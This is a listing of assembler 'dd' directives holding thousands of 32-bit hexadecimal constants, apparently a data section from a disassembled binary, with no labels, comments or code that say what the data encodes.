		dd 71C98EDh, 0F226F8D5h, 6CC2C15Ch, 0B984F8A6h,	9FCA7000h
		dd 184977A3h, 78A2601Bh, 0A41E7AC9h, 0C75E4C00h, 0EA888F4h
		dd 0CE220CB5h, 32D0DE50h, 6B0C5203h, 0CFE3C8Eh,	68CAA190h
		dd 0C03DD440h, 45C78A84h, 998380CEh, 0E09DEC7Fh, 52A4A7BDh
		dd 0B4E8ACF2h, 0DADB2200h, 45FF6C34h, 7941019Dh, 1160280Ch
		dd 9F48F0C1h, 0F662290Fh, 7A4640F2h, 38E4FB35h,	7D291476h
		dd 3A005444h, 0B2568F7Ah, 25BD23E3h, 327EC1FDh,	388B8509h
		dd 4F9934h, 7B334CAEh, 9C62136Dh, 0F4C27100h, 0AAA5F15Fh
		dd 9E7FE3h, 151C2B51h, 0DD1A3D8Bh, 0B20FC4F2h, 203B0E6Dh
		dd 2FC2213Ah, 32EC1FCBh, 6737C1C3h, 40F3E442h, 70A464C8h
		dd 0F8C2E700h, 22A101E9h, 0D7B71487h, 70A084EBh, 670A5F3Ah
		dd 0A0B50FD9h, 89328600h, 0FE3C601h, 29BA6EE6h,	0DEA7118Eh
		dd 9ECCE0F2h, 0EE090B16h, 718B72h, 0C7FF8938h, 8788A2B2h
		dd 0E71E5D04h, 0AE80D267h, 196C2DDh, 49959C06h,	4854B80Dh
		dd 241DF9D0h, 4FA5A51h,	10CC0F14h, 0FF0648Ah, 597823D6h
		dd 338EBC01h, 0CEFC0B10h, 0F0B4A0D0h, 0BE7CB1h,	9577DF37h
		dd 59EBE50Fh, 7C51FD12h, 34800C2Bh, 2376FC51h, 248A1409h
		dd 2C04103Eh, 818601DEh, 0E24BDBA4h, 9D9CD4D1h,	7A50FCA5h
		dd 0BE254895h, 23F25D05h, 28F420BEh, 7E0AAB4Bh,	800F78B8h
		dd 24132570h, 7640B079h, 0F8C36A2Ah, 1E0FEE00h,	0CA679306h
		dd 53C4AC43h, 6401903Bh, 49DBB3DEh, 3743544h, 0EAC7DC87h
		dd 11F61008h, 0F91E6DC3h, 106E14D3h, 73D77E0Ah,	0EC1130C4h
		dd 0A2078CBBh, 0B4B6ABB9h, 0E7541C70h, 4C8100EDh, 3E3BE7Ah
		dd 0B11FCD5Eh, 26C0A446h, 54D2E6Eh, 0C4640FBFh,	4F20103Ah
		dd 0D0E78F9Ah, 0AF20E200h, 5D0881B8h, 0FA7A0022h, 7686CBB7h
		dd 0D000825Ah, 0BFB8A411h, 1E6FD1FFh, 4E8D1AA7h, 920C89ABh
		dd 43009B40h, 2146784Ch, 522660h, 0BD9AE922h, 1F2AE2CBh
		dd 18F8A53Ch, 72B8CDCCh, 8A0738BEh, 9EC80074h, 0BF04671Bh
		dd 4C183F08h, 8248A31Fh, 1913E056h, 38C7B4D9h, 398EC4E7h
		dd 5C6F6E00h, 0E92EA1DCh, 0A4A0000Bh, 0C45181C8h, 0F307BEDFh
		dd 92A38065h, 0B3C700C8h, 0AA0C7536h, 1FD0CF07h, 0C543D1F5h
		dd 702009C0h, 0E40058FFh, 5CECCE30h, 6618BD60h,	0EAA6D95Fh
		dd 117E0161h, 0D27C4B29h, 8AB1DF49h, 75608FA1h,	0B4B3A789h
		dd 0FF4B1271h, 4601DECh, 5788917Eh, 4050C09Ah, 3A7C8FF0h
		dd 65F8A700h, 93F234ABh, 98500FE1h, 802FA5DFh, 0FE1DEF20h
		dd 691D162Fh, 0F0CC4C6h, 1EA8208Dh, 80D7E887h, 0A2047A53h
		dd 11D33DCh, 0FA87660Dh, 0A7A1CE24h, 11806943h,	5194B0BCh
		dd 1C7958ECh, 8C6E476h,	20AFA5h, 9F791A1Dh, 1BEA8773h
		dd 0ADF1DB1Fh, 0A000913h, 20A79654h, 7B2C0725h,	0F09C7D4Eh
		dd 55A23EDAh, 31788003h, 180EC99Dh, 2006F008h, 0B30015BAh
		dd 0D3DCDDAAh, 72934EA5h, 0EA031E4Dh, 25E980F2h, 41C8C488h
		dd 786754A8h, 60DADF08h, 21BB662Ah, 79252600h, 3AB19A98h
		dd 0BCDD0197h, 4C193F1Dh, 0C660E80Ch, 5F6C9200h, 29766602h
		dd 0ECE4D1h, 91FBB24h, 0C14AE2FAh, 3C3DFC00h, 7120D47Eh
		dd 0D24F00CDh, 66B5B6BCh, 0E13C9717h, 80FB82E9h, 60397387h
		dd 7CB74ABh, 19D2478h, 0EF7110A2h, 7F04572Eh, 2A70820Dh
		dd 66197080h, 3A4016CAh, 92B6006Eh, 0A0680141h,	584F3B24h
		dd 0C8DC003Ch, 349BAAEDh, 0C17D3CC4h, 6D3D9D00h, 100E91DEh
		dd 0D1D41F00h, 0C2D3E718h, 89DF0FCAh, 9760F7A4h, 0AB8AA5B3h
		dd 3B4A7200h, 0E646AE29h, 365C3948h, 0DD7D1580h, 180A3D53h
		dd 72029700h, 5D28C4B7h, 0CB8700E6h, 3CD8E854h,	2DE40726h
		dd 204B1C30h, 3803E62h,	96A62F82h, 9888FD78h, 0A3EA49B7h
		dd 269E6E03h, 7D3046h, 485AE750h, 9DFC4389h, 3AC0EB00h
		dd 0FF28C580h, 1150051h, 115EA4EAh, 28C0B441h, 0C0DAA124h
		dd 2891D882h, 0A80226B8h, 8BD8F245h, 0B69BE0B4h, 31FE26A5h
		dd 28C603D7h, 30606AD2h, 0C2CA2478h, 0B540032Dh, 0F7BB4D91h
		dd 0DA9C0800h, 0F107B775h, 0C9500084h, 69A0B826h, 0BA002738h
		dd 0B48E8A9Eh, 927105h,	0A79B71Bh, 9CE05616h, 492C0101h
		dd 819A9019h, 4B20F0F5h, 9126037Eh, 5D76D0F7h, 0A65040E8h
		dd 0D17B8700h, 34C973C6h, 430A0080h, 0EA313083h, 32016360h
		dd 0A114DBBDh, 77E881A5h, 3A3700F1h, 443B9B8h, 2A008FBAh
		dd 0F58BA3D4h, 1C1B8556h, 401EFE42h, 3537DA90h,	0ED03D331h
		dd 0C8DE93A7h, 18D0E07Fh, 0E6EA0748h, 0C278157Dh, 4543305Eh
		dd 0EFF727C0h, 0BDD2993Dh, 2BF60042h, 0B01B9B56h, 10760077h
		dd 627D7446h, 0CA0264A8h, 16AAC60Ah, 0B215E023h, 0DAB500F2h
		dd 682BC9A0h, 6301892Ch
		dd 92121B0Eh, 0FEF07415h, 2F3F0F2h, 8CAC86Ah, 9F404999h
		dd 0BC7C7138h, 3ADC9700h, 21AD3E63h, 1BD10040h,	0C2840C36h
		dd 0FF009E68h, 0EC35062Eh, 7A38A6Dh, 0C5C00A01h, 0E6B9E095h
		dd 77073313h, 0EF1B0DD0h, 0BD80A480h, 147F000Bh, 3D16F430h
		dd 0E01F3A8Ch, 0F5C5C0E7h, 4080372Eh, 0CB0B5C2h, 1183B878h
		dd 8A07BBA0h, 0D07C50F9h, 0E6EE18E0h, 0E49800C2h, 872CF599h
		dd 0CC12E7D6h, 9F1948BBh, 14440178h, 119EFF83h,	51D39328h
		dd 9D518812h, 199B9323h, 8DF50EEh, 2F0A200Bh, 0C8012930h
		dd 5D0721h, 5A462E0Dh, 0C83839F7h, 0D465F507h, 40E72276h
		dd 56DD0910h, 85ED002Bh, 7B5510A7h, 0E17F8B75h,	0EF00CC71h
		dd 0E94D89EBh, 0F86E79h, 0DB0517C4h, 0B40A6F55h, 0C8418200h
		dd 0E3507810h, 113001Dh, 0E6DF235Bh, 3850BB96h,	900F2B0h
		dd 4D5D0626h, 7845BF4h,	0BEBF8A4Fh, 9AC7804Eh, 0FE002BC2h
		dd 0D7C9E26Fh, 4B3A99h,	0FF92E6B8h, 0D91F3C6Ch,	9108CD00h
		dd 0DC84D69h, 0A2BF075Dh, 8083F231h, 0CD823697h, 0EFF0605h
		dd 0FDC09586h, 817AEFh,	8A66597Eh, 5689285Eh, 0BE5AA000h
		dd 975D2CAFh, 7EBAE647h, 0CA90000Bh, 0D429746Dh, 0AE006C2Bh
		dd 39487CB7h, 75F3368Eh, 7385010Bh, 0E6DBEC63h,	597D8BBh
		dd 0AAB7691Ch, 2358C8C0h, 0C6EED8h, 0FAB8A35Ah,	1A3C7E47h
		dd 0E5CE2F03h, 0A8BE1E78h, 52E1CBh, 916ED4A1h, 72F2EBBAh
		dd 71032A00h, 154DCF14h, 0CDDE0004h, 0B39E11FDh, 68071AF4h
		dd 7657A73Ah, 0CA05BFC0h, 52A00335h, 65448726h,	0DD909AFBh
		dd 0E4184F6Ah, 5810FF91h, 0F495002Ah, 0F1E5C5BCh, 750FA594h
		dd 686997h, 71367628h, 54F905F8h, 434F2C9h, 8073399Dh
		dd 0EFAA925Dh, 436F8800h, 90BCEA94h, 4F810053h,	5B562C09h
		dd 0CE0C0879h, 70C08F25h, 8C1903B5h, 0FC9CD52Bh, 0ADC700C7h
		dd 5A000E3Ch, 0E1941F3Dh, 0E51BD38h, 92168A53h,	72CE5E80h
		dd 98005A65h, 35302227h, 0C667D89h, 7799C505h, 9F00EAB0h
		dd 9B3D62E1h, 1E335AAh,	8425D388h, 301F598Eh, 791DCC07h
		dd 3E406692h, 9E538C57h, 9A680984h, 0CF8E987Dh,	6D3ABB60h
		dd 0C8093B1Ah, 0ED7FB5h, 4263F0B0h, 0CD643ED3h,	96BD5381h
		dd 304C22E3h, 0C00BA6Eh, 0B841E625h, 0E9CCA87h,	0EF284608h
		dd 1E007C1Dh, 573C523h,	0A0FEDCE3h, 0FA003090h,	2509A378h
		dd 0D2188Bh, 271B51A9h,	6CB964E1h, 0A001931Dh, 8D6DDD40h
		dd 2F5F55h, 52402E23h, 66495778h, 2D1C7E00h, 0E7FCD4C7h
		dd 0F17B0719h, 0E01355h, 4DB9ACE8h, 0A2E38E07h,	9FF03A87h
		dd 11A2B58h, 2E425157h,	0E834327Dh, 6D004D46h, 0CFB74C47h
		dd 129F7Ah, 7F1CAEA7h, 0B39B79B9h, 9076675h, 0A039CBB2h
		dd 4E46FD40h, 3AB41E87h, 0A2B3C275h, 0DC803EF8h, 5B11D55h
		dd 0F28ED00h, 0A4864029h, 1CAAF809h, 40B50E53h,	8045A9A1h
		dd 0E71DCBEFh, 0BE00A8C6h, 0F61C4F8Ch, 2D61EE8h, 0ACD040BAh
		dd 0B998B1CCh, 8038D701h, 395EF490h, 807F9AC1h,	8E9E762Bh
		dd 18CD4F5h, 7E343Ch, 60E5BC8h,	1B1325h, 3DD102B5h, 2CBAFDE4h
		dd 64607C0Eh, 4223A0FEh, 31956Fh, 0F596286Ah, 29A641F0h
		dd 0F459EA00h, 859E676Dh, 8A36008Ch, 2CEB3898h,	1500B5A2h
		dd 0FA3C1AB2h, 528361h,	0F418FC91h, 7D0987DAh, 710EF970h
		dd 0F493AC74h, 1423FB1h, 0FC949F9Eh, 0F5C0D1C1h, 8867000Ah
		dd 2E2AB320h, 7C00B823h, 2FAA249Bh, 0B8049F15h,	6F790337h
		dd 39E1898Ch, 0B9918888h, 5D357000h, 8B05FFCFh,	78C1ECF2h
		dd 1B660F6Fh, 0C68080CDh, 0A139570Ch, 0D5AC3100h, 75EBC0BAh
		dd 7745003Ah, 50912202h, 111FB3B8h, 6280FDA7h, 5AF0683Bh
		dd 9E210092h, 19793FEEh, 0AF03CF0Fh, 0D50545BBh, 75E78058h
		dd 0A8BE0063h, 0DDE4CCE2h, 2C244B29h, 0E800CE55h, 0FCBF50F2h
		dd 0FB9D0046h, 10F41F5Bh, 0BB3BDFD9h, 5170811Dh, 0D5DB53C4h
		dd 0F21E5F0h, 693B03A7h, 0B9C1288Eh, 0DCB4E97Eh, 9900560Fh
		dd 0CB3E243Dh, 855B11h,	2FB1D3Ch, 6B32C343h, 0C742DA00h
		dd 0BEAC5CD9h, 0A7849h,	844E79D4h, 0A43F1259h, 57F57800h
		dd 48881FF3h, 617039C7h, 0B6491Fh, 0E3B51CCh, 270064F9h
		dd 21803C07h, 38659DE0h, 9E009634h, 405CC76h, 0B90E1BA8h
		dd 6007D86Eh, 8D1447Fh,	673E05C3h, 823B7D81h, 0D604F00h
		dd 0AD017064h, 97921438h, 6C20AE59h, 0B67457h, 1F857DFDh
		dd 993112F5h, 0BF64403Fh, 146880E2h, 88E84DFAh,	56A30228h
		dd 0E4D17AB6h, 805CAA8Fh, 54C2DCE5h, 1601AF0Ch,	0CA21FDACh
		dd 77FCE665h, 6C3E0099h, 0CDE05839h, 707A47B1h,	5820064Ch
		dd 22F3001Ch, 54429DB4h, 1A2F0071h, 260F1170h, 9500B391h
		dd 0F1451779h, 12CF5B44h, 1C53E759h, 3C1666h, 0D3D2363Dh
		dd 133BF484h, 170E8088h, 290D466Ch, 0EC4000AEh,	307CA5EDh
		dd 69033705h, 36AAF2E3h, 7318B8BDh, 6B76002Ah, 4A1D145h
		dd 0E0003106h, 0EAFE217Dh, 5FEFBDh, 0C84937BCh,	0F9050DC0h
		dd 92036274h, 8D1A0A06h, 0A0CE9022h, 0EBB20017h, 0FDB64104h
		dd 7CFC07F9h, 0B074060Fh, 35B8434Bh, 0D814C89Bh, 44150075h
		dd 1143DE6Bh, 60FBDB2h,	4023CF6Ah, 0F6D892ADh, 293006Eh
		dd 146F4421h, 95030C5Fh, 1CF48948h, 81ECC08Dh, 0D8170052h
		dd 0D3DCF17Eh, 2000ABEDh, 0A61CB13h, 6AD0A3h, 5D55A922h
		dd 0ECD95E5Ch, 922F8D00h, 125A6B90h, 0C0CA00E3h, 0C45820EFh
		dd 467B98C9h, 20937C30h, 0F0EAF76h, 0A0D8F284h,	9C457483h
		dd 6B8CDA80h, 0F30DD100h, 805195D4h, 3606003Bh,	0BAAD19C9h
		dd 0C1008BA5h, 0D1FB67EFh, 48101CE9h, 0F901ABB3h, 1DF1519Ah
		dd 805FC48Ah, 5BD2151Ch, 0E58CD680h, 0BAE67Dh, 19B0928Fh
		dd 15F0FBD5h, 72135701h, 0ED10597Ah, 0C3716660h, 0A8566778h
		dd 94AC5390h, 76143100h, 5990D82Bh, 0F2E084h, 0FA519D2Ch
		dd 2BBC018h, 0E2786000h, 0D5BACFDCh, 20626350h,	2FF8E122h
		dd 0BD0073B1h, 841F0DE8h, 0E52B7Ah, 0CB02E062h,	6E3D5FA1h
		dd 139D4358h, 7E004508h, 46540395h, 1DC400A5h, 7057EDB7h
		dd 0FCF6A21Ah, 77802700h, 0BE0D0320h, 75DC00F7h, 0F906931Ch
		dd 0AF05BDC7h, 3A9D19C4h, 95265EC0h, 0EB8F00E4h, 4446578Dh
		dd 0B000642Bh, 54BD07BEh, 663910h, 9511E436h, 0C4D5C76h
		dd 0DA176200h, 794ADDA9h, 6A6A6701h, 0D21F4065h, 0FF00E65Eh
		dd 146DEF50h, 73092F0h,	0C9AB79B0h, 0EA807FCFh,	0FB568E22h
		dd 0AEEE1500h, 38E7D5BCh, 6AC83907h, 2A1627FAh,	191E85D6h
		dd 5BC18440h, 904AD3h, 0A34277CAh, 0FF387247h, 3F46AB00h
		dd 172CB8A5h, 0C706C126h, 0FC5CD749h, 6E6F6F9Ch, 532FE0B8h
		dd 2517F67h, 98C6F6D5h,	3240B8ECh, 0BD00A27Dh, 0F764A6E0h
		dd 2750A0h, 0B9F641C9h,	0D409D81Eh, 1040070Eh, 1755E05Eh
		dd 7F9B0864h, 957603h, 6DA0C2Eh, 86C0EACDh, 92A83E00h
		dd 4CE914D9h, 0ECE634h,	0C9B6F83h, 826D22AAh, 0E6949A0Fh
		dd 0C657E0D3h, 0EA055FF3h, 1DAA039Ch, 1296E53Dh, 74ACBBD8h
		dd 9D00447Dh, 0E6500E2Dh, 0AE79BCh, 7CA61E9Eh, 7FAC43F8h
		dd 0E9498900h, 0E66BC666h, 2EBE2C7h, 1142F561h,	8CE00701h
		dd 0C900F01Dh, 0B3C11E68h, 9E258h, 36D34B94h, 5E04E178h
		dd 7C823Bh, 121F324Ah, 0F2D9AFDh, 0F3FA7A01h, 401C9380h
		dd 0A330CD38h, 0F80A503Ch, 0CF98009Bh, 3E8B82E8h, 0D3012415h
		dd 7923B738h
		dd 66D49EE0h, 71C50065h, 4A9028B3h, 1190F847h, 8505FB79h
		dd 6A8FCE7h, 40288AC2h,	0CF70F4h, 721E377Bh, 0E105B408h
		dd 87C1E207h, 80AE2DF8h, 3545BD5Dh, 42E1C0Fh, 23A0C06Fh
		dd 7693F998h, 3AB5250Eh, 2F1547B2h, 0D15E6EE0h,	0B0650087h
		dd 33F062DBh, 57037686h, 0B9DE6C0Eh, 883CA363h,	1ED23BDh
		dd 907902F1h, 0F4F6F99Fh, 4004F0Ah, 9C7BEACAh, 3863673h
		dd 435CA6E3h, 90FFE160h, 0C515AAE6h, 63146AECh,	900ED3h
		dd 5E733D74h, 0DC6DA9h,	4178495Ch, 959A07EDh, 5E7D1830h
		dd 3FC4F672h, 1F805EE6h, 0F22BEBBBh, 6201E43Bh,	67FD9F6Ch
		dd 0F0E76848h, 732C644h, 0E4D7D3CEh, 9872B1DBh,	0A026F40Ch
		dd 9F8EC301h, 7986017Bh, 1C72630h, 2F9348CEh, 0D7BCA5E3h
		dd 87BE8CD0h, 41802B1Fh, 20EA4B0Fh, 479D5935h, 0B4CC0002h
		dd 4DB06A3Fh, 0ED0066D7h, 8A765F84h, 0ABE488h, 970211A8h
		dd 4FEC822Ch, 0CE987E1Fh, 43E0E800h, 2EDDCD4Ch,	1DC38325h
		dd 0CCF30E7Bh, 5B010D40h, 0DB03DC57h, 7CD2ECB3h, 0FB103C66h
		dd 3F3DDE89h, 16EF2E00h, 10909D76h, 92C91903h, 8867475Ah
		dd 44BF3Ah, 58D1CDD5h, 4DBD1836h, 830E100h, 5B61671Eh
		dd 0BEA0031Ah, 0D407E75h, 2EF15ED8h, 0BE15533Eh, 0B3461DBBh
		dd 0CB339E47h, 8E553BE0h, 0C9AF004Eh, 0E69D3DC7h, 0FF65096h
		dd 0F370EB00h, 0D1B1F757h, 14AC00D0h, 2C6D1B27h, 0BBFE3C02h
		dd 0FE103B07h, 63400C33h, 0EEBC280h, 360A2FB1h,	84BC1220h
		dd 0E70BD7B7h, 86DDD1h,	0C04D4293h, 60FAFCCCh, 0B5DF1062h
		dd 12380C39h, 7CE98228h, 801C8568h, 0CB10CAE1h,	6CCB8A5h
		dd 9FA8ACD4h, 0C300827Ah, 0F8919C33h, 0FF9E54h,	793BA215h
		dd 0E0B1555Dh, 0F9AF6E00h, 23FC8B08h, 0F6010F5Bh, 698004F5h
		dd 7AC46493h, 0C1761F1Dh, 0D7D946C0h, 74EDA919h, 0E4BD009Fh
		dd 9408CF57h, 0B10E788Bh, 2098061Bh, 0E3F9EB64h, 3D770734h
		dd 30702D7Eh, 0D8939C2Ah, 874EFF03h, 0B9B384BDh, 4FF8E86Ah
		dd 85130031h, 0F6D26E15h, 0B7032CF3h, 7AFD63Ch,	169CC062h
		dd 0BFA60078h, 72DA8DB2h, 0FCA01AEEh, 0CD007B53h, 0D075610Ch
		dd 8AFE7Ch, 0D6E32215h,	8BBD8341h, 0A000F0F0h, 0F45175FFh
		dd 0F8FBA5h, 0C05F9CDCh, 0C1E9F697h, 0B742A0A0h, 0AA604878h
		dd 12072511h, 0EECA00D7h, 0A4BD43E9h, 1C008032h, 8ABFD953h
		dd 1155BDEh, 1F9D9E93h,	0E489050Ch, 4F00E663h, 1696FF87h
		dd 1E7D380h, 940485F5h,	0E8755E6Fh, 0D9006BB4h,	1C17A627h
		dd 0DC83D7h, 2C62899Bh,	0D0A8341Dh, 0FCD6C616h,	474FC503h
		dd 0BEE7C80Ch, 6D730077h, 5D9FEA04h, 8800B961h,	384232A8h
		dd 2475B7E5h, 476F57h, 674AFC46h, 223069CCh, 659A10A4h
		dd 0A6340093h, 9FFEF5Ah, 7302F3D5h, 0E468B26Fh,	0B53AE023h
		dd 3BD81894h, 55F8F00Ah, 51E61500h, 53BC90EAh, 7FD200B0h
		dd 304DD5D1h, 8C000FB8h, 228AF51Ah, 1C15973Dh, 835F1Bh
		dd 25FA7E7Bh, 0F1030BDAh, 6B510763h, 0E24CA882h, 0E801013Ah
		dd 0C4BAEC65h, 0E7388098h, 615C6048h, 0E06C7851h, 81F204h
		dd 56DD685Eh, 300B17B4h, 374D5F02h, 0A01AC8D3h,	0E429E8D4h
		dd 16E0081h, 60916809h,	0BF06EE1Bh, 0B6D2A047h,	7FE70010h
		dd 0A4CDA96Fh, 0A7005342h, 0D6BDF099h, 3C05747Dh, 6500DF69h
		dd 7F18838Bh, 5701044Ch, 53E2BC02h, 0ECD0881Eh,	16BF008Ah
		dd 13A76237h, 0D40E1781h, 0E04C2878h, 9939B421h, 0AAA600F4h
		dd 0A3F68258h, 0D000063Ah, 0D649BCFFh, 0BB7EAh,	4CFB1EB6h
		dd 90CD51DEh, 39910A20h, 1413BA97h, 39900030h, 0B66DF411h
		dd 4E33CA00h, 2B6A9572h, 0CDAD0014h, 37B02A76h,	4D04432Fh
		dd 0F809F165h, 159EC480h, 0A210034Eh, 0F67A5B1h, 4A2666D8h
		dd 910B4200h, 772DB9CFh, 7EED382Ah, 0AD784F00h,	6E9EB97h
		dd 0A3E4E200h, 774C1770h, 0A78A009Ah, 0FD60D958h, 8171E5F1h
		dd 0E831F000h, 0D58F51BCh, 0B8A00336h, 0BE330C1Ch, 82373BA0h
		dd 70FDC000h, 0C3B604E2h, 0EA1B0043h, 67743053h, 4B000845h
		dd 14C46950h, 3ED91FDh,	5B154F33h, 1CB0274Ch, 5D00BA59h
		dd 385E4380h, 857C19h, 0DE0974BFh, 0EFABA6D2h, 8EE1C10Eh
		dd 64820FAh, 395552B3h,	7E80C6C5h, 4EF8B818h, 0B7ADF37h
		dd 0A57BA101h, 9B62F276h, 2BC1F0h, 0BF15280Ah, 7AD13783h
		dd 40A2D000h, 5841012Ah, 0E42B00AAh, 24D0FD4h, 391F6C1Eh
		dd 30009552h, 48B5B7ECh, 0EF352CDFh, 322403B3h,	86A0BD97h
		dd 1A006A2Ah, 0C009D1FAh, 5B542Ch, 0BC66C80Eh, 0DC2E8C36h
		dd 0E705CF00h, 9413114Ah, 0A2A30720h, 20AE80BBh, 0E1068777h
		dd 6E74D975h, 108E7224h, 0C6481C00h, 50DDB5EAh,	7C9D471h
		dd 0E8CAE33Eh, 365EB06Eh, 6D034CF6h, 0A918A4C3h, 7214986Fh
		dd 0B0D8C078h, 0A3E9DD6Eh, 1CFB7F00h, 1A282F87h, 0FA8F03F4h
		dd 77FF373Ch, 0DC04FCF9h, 14001E6Ch, 0C523CD99h, 37AB48Eh
		dd 3D4215E6h, 0A9992468h, 49D06094h, 176B9900h,	4CBD0A22h
		dd 0B9B866h, 1A6D441Eh,	0E8CCDC97h, 6F2B100Fh, 0E2B920ADh
		dd 2418F4D7h, 3927h, 46AA5BDDh,	2100DE8Bh, 0A33ECA86h
		dd 0FAD30E5Dh, 2F3B00D2h, 26C82E44h, 40007278h,	0CBCEB654h
		dd 0FCD3937h, 83CA10CCh, 0A36D920h, 2A017805h, 935FC85Dh
		dd 0F3E4D4BCh, 184F0F63h, 90A055E0h, 13BF0DAEh,	4B1EFA00h
		dd 0DF25430Eh, 63450EBEh, 69CEEF1Ch, 9F634E0h, 13E6AF2h
		dd 0C7FD81F8h, 5B4FB866h, 0D8E458h, 0EA81F0F7h,	2B24204Ch
		dd 7835A100h, 141513A8h, 10C743Ch, 6C387940h, 0D50E18CAh
		dd 3BC0228Bh, 13E07A9h,	0DFF0A390h, 3DA0DDE6h, 9A00B833h
		dd 565874Ah, 370090A6h,	0F5C15321h, 664DD4h, 0D643236h
		dd 67B50529h, 0F100E5E0h, 2263EB0Eh, 152897F7h,	0DC4CC439h
		dd 0DFFA9580h, 7300F62Eh, 0DBBC0688h, 1ED8F204h, 78427E54h
		dd 0DDEC1700h, 164FB44Dh, 0E9E6F500h, 30CD4921h, 0E582003Eh
		dd 64570CD8h, 7500C658h, 729D67EAh, 4577D6h, 0CF508039h
		dd 5CA91C89h, 0DBB66A1Fh, 71F33C0h, 1EB02417h, 11A7802h
		dd 2C85DD5Eh, 569DF883h, 9CCBF200h, 2DA3B269h, 845503B8h
		dd 7A1B0C37h, 34356A1Fh, 9078A600h, 0E53940h, 9969E261h
		dd 7B763059h, 0F6DFF309h, 6B040001h, 79577B3h, 9D732F3Ah
		dd 8808403Fh, 1A300DFEh, 499F893Bh, 7DCD098Fh, 0D9096A35h
		dd 0DA37A0Eh, 16C30340h, 0D2D41003h, 0E7090A44h, 0C6390E80h
		dd 77B1006Dh, 441978Fh,	0A10096C5h, 0DA79BE7Eh,	695C59h
		dd 0E8DB2FB9h, 27917AD8h, 9D0034EEh, 0C6560E4Ah, 12780312h
		dd 4099AD95h, 0DB311BD4h, 3F01C75Dh, 0F8CC8CC4h, 104470A7h
		dd 35BB5C20h, 0FD732442h, 0C0101C2Ah, 23305A67h, 0F02C0674h
		dd 0D0002504h, 77A4FCB0h, 38D5001Fh, 4A329B17h,	1B01CC97h
		dd 4D593A8Dh, 0ECD4830Dh, 7275180Eh, 0C92A60EFh, 8E76DA12h
		dd 4C45EC00h, 0C7C8748h, 4DABCC60h, 4A1F0290h, 0B8D0DBh
		dd 7A6C53D1h, 0A679EDh,	0F3D394C5h, 0AB02D91h, 0C9EA6900h
		dd 1E207C16h, 8B8C4804h, 4943C618h, 0F71809AEh,	9811730Eh
		dd 0D57E0908h, 4A009E2Dh, 6C89D3F3h, 0FA48800h,	0A8EAF1FBh
		dd 29F900D5h, 95739385h, 2C0034DDh, 30E4772h, 0A0109Fh
		dd 8E279224h, 68778AF3h, 30F43C00h, 0E1A91BB5h,	0A77A0066h
		dd 0AA25C8D4h, 160209B9h, 45297E2h, 8CB4A023h, 1D0D22D9h
		dd 398C3h, 1B2A9568h
		dd 460C0718h, 28AC14F7h, 4F7E5C8Dh, 4B00FD3Dh, 5641D4FEh
		dd 0DC000FF1h, 21C462CAh, 1F1A874Dh, 18D2E0h, 480D55F5h
		dd 6601D851h, 0CB9BFFF3h, 35D1F45Ah, 0F67A2187h, 12026050h
		dd 3F009E1Fh, 0F7D3C207h, 3C445Dh, 0C069D9F3h, 2EE9D645h
		dd 0BB386460h, 36E88AEh, 4E85C1A4h, 5100F206h, 56E31A2Dh
		dd 0E901B76Ah, 7D51092h, 2FC347E9h, 0BFC82BE1h,	9C57D130h
		dd 0CD437021h, 0D0C96AAAh, 1E9A5046h, 834B1DBCh, 2C6745EFh
		dd 4F0C80DEh, 98233963h, 0E5F50C60h, 0FA797BC1h, 4E8AC71Fh
		dd 50EEB383h, 60097B8Fh, 0B85A6814h, 1D010D8Ah,	0DF8D1748h
		dd 9448CD1Fh, 6E5D01E1h, 8A404457h, 0DAAC402Ch,	0EA1DF21Bh
		dd 0CE00429Fh, 0FE6527A3h, 1ED9074Eh, 0A0B33049h, 0FDCB5E0Eh
		dd 3D3B648h, 21F64A42h,	516A9009h, 3C9F0071h, 0E8E0C02Dh
		dd 18005956h, 73785838h, 48F914h, 5DAB3EA5h, 0A6AF82DCh
		dd 0FDBF9100h, 0BDA85B92h, 9D240003h, 0DFF6471Bh, 2C26167Bh
		dd 5800D47Eh, 7688CE65h, 0DCAB0075h, 81668A04h,	120082ADh
		dd 531729D7h, 18C1CFDh,	0F915925Dh, 0D8795A8Fh,	68008009h
		dd 36B5DFDAh, 120B8F8h,	1ABE7FFh, 8BE41503h, 83392B18h
		dd 0A0F63C72h, 1CAC5737h, 6483FF1Dh, 81FE0451h,	166CC0DDh
		dd 197754CFh, 0D4D5C524h, 0A997813Fh, 4BDA0AF0h, 34DE0E4h
		dd 48A5FBABh, 6042E568h, 9D31B204h, 5504A118h, 0C0E94F60h
		dd 0A04C476Fh, 42477E93h, 0D3DBA0D0h, 0A6C50046h, 10B42898h
		dd 200728Ch, 86FA716Bh,	0F4C517Eh, 39432754h, 4A808E6Fh
		dd 0C946CECAh, 85581D00h, 0FD92C75Ah, 48BA077Ah, 9911F7D0h
		dd 910084F4h, 23C086DAh, 0AD3730B6h, 7526C221h,	20471629h
		dd 30548DE2h, 906C4FEh,	656EDF27h, 0B431D88h, 0D0460090h
		dd 0DDA81A7Ah, 0F19AB307h, 98857DF3h, 340084Fh,	0C0B43CEBh
		dd 17C2AEAh, 97E321E2h,	857E64CAh, 0F054C728h, 0B8642C0h
		dd 1ECB78DBh, 3FB4C63h,	0C6831A79h, 11144003h, 6FCE0Fh
		dd 36F10188h, 86F9253Fh, 0AB1A530Ch, 50042845h,	750DB4D3h
		dd 0A8925006h, 0DF5900D1h, 0EECEDCFDh, 937CB1D6h, 524461C3h
		dd 29B103AFh, 0B2CE531Bh, 8720DAC7h, 3216591Fh,	8150549h
		dd 0E250996Bh, 2F9F0459h, 7CF3AF8Ch, 0B17E233Fh, 5B0AC0B0h
		dd 0A18B422Bh, 85009663h, 86405F02h, 7A4B097Eh,	4000804Ah
		dd 0A0270E66h, 20002C90h, 6219A8DFh, 303F2521h,	0C8189F7Ah
		dd 0C3480774h, 0B948730Ch, 0EEFA2814h, 20A868F0h, 1704DE35h
		dd 28E85CA2h, 9440BE7Ch, 48BF247Dh, 411284h, 6F778210h
		dd 0C000B430h, 44A8055Ch, 0C080B1FFh, 0E78AE118h, 200F139Dh
		dd 3E42ECEh, 0C0EA4062h, 0A904EF1Fh, 0ABD49D20h, 0C25A47FFh
		dd 16E93566h, 0AC7502E8h, 9EAD80C4h, 60237A68h,	0B4138314h
		dd 5DABD78Eh, 0EA914011h, 0A66DEA1h, 85528060h,	4285BCB0h
		dd 0E814685Eh, 0D29C0AB4h, 880D065h, 0B3474B7Dh, 46333DC4h
		dd 0A32060FDh, 4E3FC7B5h, 40582B9Ch, 0C535B663h, 0FFCF2070h
		dd 605EEB57h, 8E0462Ah,	0ED21F722h, 0D5161E00h,	1CFC73BAh
		dd 0C0934D55h, 581029B5h, 0ED012D0Bh, 34E7BD2h,	189EC923h
